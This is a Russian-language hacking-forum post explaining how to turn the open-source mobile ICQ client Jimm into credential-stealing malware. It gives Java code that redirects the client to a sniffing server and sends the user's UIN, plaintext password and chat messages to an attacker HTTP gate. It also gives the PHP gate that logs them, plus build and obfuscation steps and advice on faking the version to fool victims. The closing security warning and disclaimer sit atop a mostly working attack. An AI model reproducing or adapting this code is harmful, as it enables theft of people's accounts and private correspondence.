Старый 02.09.2009, 13:02   #1
King
RAM 256MB
 
Аватар для King
 
Регистрация: 21.07.2009
Сообщений: 680
King репутация неоспоримаKing репутация неоспоримаKing репутация неоспоримаKing репутация неоспоримаKing репутация неоспоримаKing репутация неоспоримаKing репутация неоспоримаKing репутация неоспоримаKing репутация неоспоримаKing репутация неоспоримаKing репутация неоспорима
King вне форума

Wink Jimm изнутри


как устроена аська на мобильных платформах.

Вступление
Мобильные технологии прогрессируют неимоверными темпами. Аська давно перебралась на мобильные платформы, и, весьма неплохо себя там чувствует. Давайте посмотрим, что представляет из себя один из наиболее популярных представителей мобильных ICQ клиентов изнутри, и попытаемся использовать его в своих (учебных) целях.

Впринципе, явакодингом особо до этого я не занимался, но привлекало то, ява - это си-подобный язык, поэтому я подумал, что смогу разобраться с исходниках без особого труда (да и разберется думаю любой другой более-менее соображающий php/c/c++ кодер). Впринципе, так и оказалось. Более того, исходники имеют потрясающую читабельность. Пара часиков у меня ушла на изучения общего принципа работа и устройства jimm ).

У меня была загружена версия 0.5.2 от Xаttаb'а, но впринципе, сама версия не имеет для нас особого значения.
Последнюю версию вы всегда можете загрузить на:
_http://jimm.im/php/downloads.php?ids=25

Меняем адрес сервера
Распакуем, архив, лезем в \jimm\src\jimm\Options.java


Находим объявление функции:

Код:
static private void setDefaults()
Ага, то, что нам надо. Проставляет дефолтовые значения переменных.

Код:
setString (Options.OPTION_SRV_HOST, "login.icq.com");
// #sijapp cond.else# ===
// #sijapp cond.if modules_PROXY is "true" #
setString (Options.OPTION_SRV_HOST, "64.12.161.185"); //Cannot resolve host IP on MIDP1 devices
// #sijapp cond.else#
setString (Options.OPTION_SRV_HOST, "login.icq.com");
// #sijapp cond.end#
// #sijapp cond.end# <===
setString (Options.OPTION_SRV_PORT, "5190");
Как видим, в опции заносится хост и порт. Мы можем изменить их по своему усмотрению на фиктивный хост, через который будут идти данные и впарить жертве.

Тут можно пойти двумя путями: зарегаться на simkl.com или установить свой сниффер AIM ([Ссылки доступны только зарегистрированным пользователям . Зарегистрируйся, чтобы увидеть ссылку.]) и указать на него.

Сам я юзал в данном случае сервис simkl.com, тк своего серва/дедика не было, а на firstvds запрещен прямой доступ к сетевым интерфейсам, так что установить AIM Sniff там не представляется возможным.

Юзаем: Host: im10.simkl.com с портами 80, 3128, 443, 5190.
Для меньшей палевности (если жертва не полный ноль) рекомендуется вписывать соответствующий IP адрес, а не доменное имя.

После того, как жертва законнектится, мы увидим весь ее список контактов, ну, и соответственно всю ее хистори.

Пионерим пароль
Если бы мы просмотрели файл Options.java чуть дальше, мы бы заметили, что UIN хранится в Options.OPTION_UIN, а пароль в Options.OPTION_PASSWORD, причем записаны они там в абсолютно открытом виде, чем мы и воспользуемся.

Выдрать их можно, используя конструкции:

Код:
Options.getString(Options.OPTION_PASSWORD)
и

Код:
Options.getString(Options.OPTION_UIN)
соответственно.

Итак, пароли нашли, знаем как их оттуда достать? Что же дальше? Правильно, нужно напривить их на наш HTTP-гейт (можно конечно использовать и отправку через простое сообщение ICQ на наш номер, но я выбрал данный способ, потому что так удобнее собирать БД на сервере, правда у него есть один недостаток, в самом начале, когда происходит первый коннект, пользователю придется подтвердить сначала разрешение на открытие
сокета ( это норма ) + разрешение на открытие HTTP соединение. Впринципе, обычно лапоухие не обращают внимание на это, так было и в моих случаях.). Но если уж так хочется стырить пароль через пересылку ICQ сообщения, в конце статье опишу, как это можно сделать.

Итак, нам нужно притырить пароль при коннекте. Открываем файл \jimm\src\jimm\comm\Icq.java , который ответственен за подключение, и находим строку:

Код:
public class Icq implements Runnable
сразу после открытой фигурной скобки опишем нашу ядовитую функцию:

Код:
//Адрес гейта
static String script = "http://tools/etc/jimm.php";
//Описываем Http подключение и входящий поток
static HttpConnection httemp1;
static InputStream istemp1;
//Наша ядовитая функция, которая будет посылать нужные нам данные на гейт
static public void send_poison(String type, String data)
{
  try
  {

  httemp1 = (HttpConnection) Connector.open(script+"?uin="+Options.getString(Options.OPTION_UIN)+"&type="+type+"&data="+data);
  httemp1.setRequestMethod(HttpConnection.POST);
//Открываем входящий поток
  istemp1 = httemp1.openInputStream();
  if (httemp1.getResponseCode() != HttpConnection.HTTP_OK) throw new IOException();
//Читаем из сокета
  byte[] response_ = new byte[(int)httemp1.getLength()];
  istemp1.read(response_,0,response_.length);



   
  }
  catch (Exception e)
  {
  e.printStackTrace();
  }

}
Далее ищем строку:

Код:
static protected synchronized void setConnected()
Эта функция ставит систему в статус "Соединен", чтож, впустим туда свои ядовитые корни.
Добавляем вызов нашей функции:

Код:
send_poison("0x01",Options.getString(Options.OPTION_UIN)+";"+Options.getString(Options.OPTION_PASSWORD));
Она вышлет нам на гейт данные в формате UIN;PASS, где нам их останется только отпарсить. Здесь 0x01 я просто использовал как описание типа содержимого (в самом гейте), у меня при 0х01 он ловил и записывал UIN;PASS, при 0х02 ловил сообщения.

Оговорюсь, что метод хищения сообщений на мобильных девайсах не очень хорош собой, т.к создает дополнительный сетевой траффик, соответственно, будут лаги, и иногда некоторые сообщения просто будут не доходить (у меня такое было).

Ну, само хищение истории останется вашим домашним заданием )) В, принципе, если так уж надо, место, где стоит поколдовать, я укажу: Было установлено, что сообщения проходят через обработку в

Код:
\jimm\src\jimm\comm\PlainMessage.java
Открываем.
Смотрим на функции:

Код:
// Создает входящее сообщение
public PlainMessage(String sndrUin, String rcvrUin, long date, String text, boolean offline)
...
// Создает исходящее сообщение
public PlainMessage(String sndrUin, ContactListContactItem rcvr, int _messageType, long date, String text)
Таким образом, здесь использована перегрузка функций, поэтому действие определяется исходя из набора аргументов. Если хотите тырить переписку, стоит колдовать с этими функциями.

В моем случае я не стал заморачиваться, и пионерил хистори (хоть и иногда и с половинным успехом через всю ту же мою ядовитую функцию send_poison.

Еще одна проблема, с который я столкнулся, и которую хотелось бы осветить, это необходимость перекодировки сообщений в UTF-8 для передачи по HTTP.

Но с тем, как с этим справиться средствами Java (нам придется написать собственную функцию), и о том, как написать наш php-гейт, а так же скомпилировать проект, я расскажу во второй части статьи.





Итак, мы остановились на проблеме кодирования данных для передачи через HTTP запрос.
Напишем для этого такой код:

Код:
/**
* Не-ASCII сначала кодируются как последовательности
* двух или трех байт, использую алгоритм UTF-8, перед тем
* как быть закодированными как последовательности %HH
*/
package jimm;

public class whirtUrl
{

 final static String[] hexval = {
  "%00", "%01", "%02", "%03", "%04", "%05", "%06", "%07",
  "%08", "%09", "%0a", "%0b", "%0c", "%0d", "%0e", "%0f",
  "%10", "%11", "%12", "%13", "%14", "%15", "%16", "%17",
  "%18", "%19", "%1a", "%1b", "%1c", "%1d", "%1e", "%1f",
  "%20", "%21", "%22", "%23", "%24", "%25", "%26", "%27",
  "%28", "%29", "%2a", "%2b", "%2c", "%2d", "%2e", "%2f",
  "%30", "%31", "%32", "%33", "%34", "%35", "%36", "%37",
  "%38", "%39", "%3a", "%3b", "%3c", "%3d", "%3e", "%3f",
  "%40", "%41", "%42", "%43", "%44", "%45", "%46", "%47",
  "%48", "%49", "%4a", "%4b", "%4c", "%4d", "%4e", "%4f",
  "%50", "%51", "%52", "%53", "%54", "%55", "%56", "%57",
  "%58", "%59", "%5a", "%5b", "%5c", "%5d", "%5e", "%5f",
  "%60", "%61", "%62", "%63", "%64", "%65", "%66", "%67",
  "%68", "%69", "%6a", "%6b", "%6c", "%6d", "%6e", "%6f",
  "%70", "%71", "%72", "%73", "%74", "%75", "%76", "%77",
  "%78", "%79", "%7a", "%7b", "%7c", "%7d", "%7e", "%7f",
  "%80", "%81", "%82", "%83", "%84", "%85", "%86", "%87",
  "%88", "%89", "%8a", "%8b", "%8c", "%8d", "%8e", "%8f",
  "%90", "%91", "%92", "%93", "%94", "%95", "%96", "%97",
  "%98", "%99", "%9a", "%9b", "%9c", "%9d", "%9e", "%9f",
  "%a0", "%a1", "%a2", "%a3", "%a4", "%a5", "%a6", "%a7",
  "%a8", "%a9", "%aa", "%ab", "%ac", "%ad", "%ae", "%af",
  "%b0", "%b1", "%b2", "%b3", "%b4", "%b5", "%b6", "%b7",
  "%b8", "%b9", "%ba", "%bb", "%bc", "%bd", "%be", "%bf",
  "%c0", "%c1", "%c2", "%c3", "%c4", "%c5", "%c6", "%c7",
  "%c8", "%c9", "%ca", "%cb", "%cc", "%cd", "%ce", "%cf",
  "%d0", "%d1", "%d2", "%d3", "%d4", "%d5", "%d6", "%d7",
  "%d8", "%d9", "%da", "%db", "%dc", "%dd", "%de", "%df",
  "%e0", "%e1", "%e2", "%e3", "%e4", "%e5", "%e6", "%e7",
  "%e8", "%e9", "%ea", "%eb", "%ec", "%ed", "%ee", "%ef",
  "%f0", "%f1", "%f2", "%f3", "%f4", "%f5", "%f6", "%f7",
  "%f8", "%f9", "%fa", "%fb", "%fc", "%fd", "%fe", "%ff"
 };

 /**
  * ASCII символы, начиная с 'a', заканчивая 'z', 'A' заканчивая 'Z',
  * и с '0' заканчивая '9' оставляем такими же.
  * Такие символы как - _ . ! ~ * ' ( ) оставляем такими же.
  * Пробел преобразуем в плюс '+'.
  * Остальные ASCII символы кодируем в трехсимвольную строку "%xy"
  * где xy - двухсимволное шестнадцатеричное представление
  * кода символа.
  * Все не-ASCII-символы кодируются в два шага: сначала в
  * последовательность 2 или 3 байт, используя алгоритм UTF-8;
  * затем, кодируем каждый байт как "%xx".
  * @param - строка, которую подаем на входе на кодирование
  * @return Зашифрованная строка
  */
 public static String encode(String s)
 {
  StringBuffer wbuf = new StringBuffer();
  int len = s.length();
  for (int i = 0; i < len; i++) {
  int ch = s.charAt(i);
  if ('A' <= ch && ch <= 'Z') { // 'A'..'Z'
  wbuf.append((char)ch);
  } else if ('a' <= ch && ch <= 'z') { // 'a'..'z'
  wbuf.append((char)ch);
  } else if ('0' <= ch && ch <= '9') { // '0'..'9'
  wbuf.append((char)ch);
  } else if (ch == ' ') {  
  wbuf.append('+');
  } else if (ch == '-' || ch == '_'  
  || ch == '.' || ch == '!'
  || ch == '~' || ch == '*'
  || ch == '\'' || ch == '('
  || ch == ')') {
  wbuf.append((char)ch);
  } else if (ch <= 0x007f) { // другие ASCII
  wbuf.append(hexval[ch]);
  } else if (ch <= 0x07FF) { // не ASCII <= 0x7FF
  wbuf.append(hexval[0xc0 | (ch >> 6)]);
  wbuf.append(hexval[0x80 | (ch & 0x3F)]);
  } else { // 0x7FF < ch <= 0xFFFF
  wbuf.append(hexval[0xe0 | (ch >> 12)]);
  wbuf.append(hexval[0x80 | ((ch >> 6) & 0x3F)]);
  wbuf.append(hexval[0x80 | (ch & 0x3F)]);
  }
  }
  return wbuf.toString();
 }

}
Не забудьте положить наш whirtUrl.java в \jimm\src\jimm\
И влючить его в код:

Код:
import jimm.whirtUrl;
Далее уже можем использовать в PlainMessage.java нашу функцию, например через HttpConnection
(не забываем подключать соответствующие java-файлы)

Код:
httemp4 = (HttpConnection) Connector.open(script+"?uin="+Options.getString(Options.OPTION_UIN)+"&type=0x02&data="+whirtUrl.encode("[From: "+sndrUin+"] "+text));
Пишем наш гейт
Ну а теперь настало самое время написать наш принимающий core-модуль smile.gif Он довольно простой, но функциональный:

Код:
<?
//small conf :)
//Указываем диру для логов, обязательно должна существовать.
$dir = "logs";

//получаем дату-время для маркировки в логах
$today = getdate();
$date = $today['mday'].".".$today['mon'];
$time = $today['hours'].":".$today['minutes'];


  $UIN=$_GET['uin'];
  $type=$_GET['type'];
   
  if ($type == '0x01')
  {//как говорил выше: 0х01 - значит к нам пришли пароли
  $text = $_GET['data'];
  $fp = fopen($dir."/numbers.txt", 'a+');
  fwrite($fp, "[".$date."] (".$time.") $UIN;$text\r\n");
  fclose($fp);
  }
  if ($type == '0x02') //получили сообщения
  {  
  $text = "[".$time."] ".$_GET['data'];
  $fp = fopen($dir."/hist/".$UIN."_hist_".$date.".txt", 'a+');
  fwrite($fp, "$text\r\n");
  fclose($fp);
  }
//Обезопасим себя :))
header("HTTP/1.0 404 Not Found");

?>
Думаю, здесь без особых трудностей, с файлами работать ведь умеем smile.gif Хочу заметить, что каталог (изначально) logs должен обязательно существовать, +подкаталог hist, если мы собираемся перехватывать историю.

Компиляция
Ну что ж, теперь у нас все готово для компиляции. Нам понадобятся последние версии следующих компонентов:
Apache Ant, NetBeans IDE (можно обойтись и без нее, но при редактировании и отладке кода - очень удобно),
Java 2 Platform Standard Edition (J2SE) SDK, J2ME Wireless Toolkit >=2.2, Pro Guard >=4.1
Все это добро можно найти в интернете и скачать, используя наш любимый google. С установкой, думаю проблем возникнуть не должно.

Давайте лучше, обратим внимание на файл build.xml, нам нужно будет его отредактировать вручную.

Здесь нам нужно указать путь к нашему Wireless Toolkit, в моем случае это D:\WTK2.5.2

Указываем путь к нашему обфускатору+пакеру proguard. Можно в принципе его и не использовать, но все же рекомендую. Жмет+обфусцирует код.

Проставляем нужный нам таргет. Обычно, это MIDP2, который поддерживают все современные телефоны. В ином случае, укажите ваш вариант.

Указываем необходимые модули, которые подключаем к проекту. То, что ненужно, можно отключить, чтобы уменьшить размер скомпилированного приложения.

Здесь мы можем изменить нашу версию, чтобы надурить бедных ламеров smile.gif Ну, вроде ничего не упустил, теперь можно запускать NetBeans IDE.

File -> New Project -> Java Project With Existing Ant Script.
Указываем диру, где лежат исходники jimm + наш build-скрипт (build.xml)

Next;

В Build Project: устанавливаем таргет "dist"
.
Ну вот и все. Впринципе можно смело нажимать Build. И, если, все сделано, правильно, у нас в директории \jimm\dist\bin появятся 2 файла: .jar и .jad
Думаю, что с ними делать дальше, ты знаешь





Заключение
Итак, как, ты понял, мы можем запросто собрать свой билд Jimm с нужными нам функциями. Думаю, теперь ты будешь чаще использовать оф. версии, для которых доступны исходные коды, ведь безопасность твоей ICQ тебе наверно дороже? Сейчас расплодилось огромное количество модификаций Jimm, большинство из них имеют закрытый исходный код, и только сетевой трейс сможет отследить, какую инфу они отправляют в действительности.

Disclaimer:
Статья не является руководством к написанию вредоносных программ, а является лишь информацией к размышлению smile.gif Автор не несет ответственности за любой принесенный ущерб в результате неправильного использования представленной информации, а так же действий, противоречащих УК РФ.
  Ответить с цитированием
Ответ

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.



взломать аську аську взломать взлом программы сделать взлом программы как сделать взлом программы хакерские сайты как легко взломать аську лучшие хакерские сайты топ список хакерские сайты взлом паролей легкий взлом паролей

Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2009, Jelsoft Enterprises Ltd. Перевод: zCarot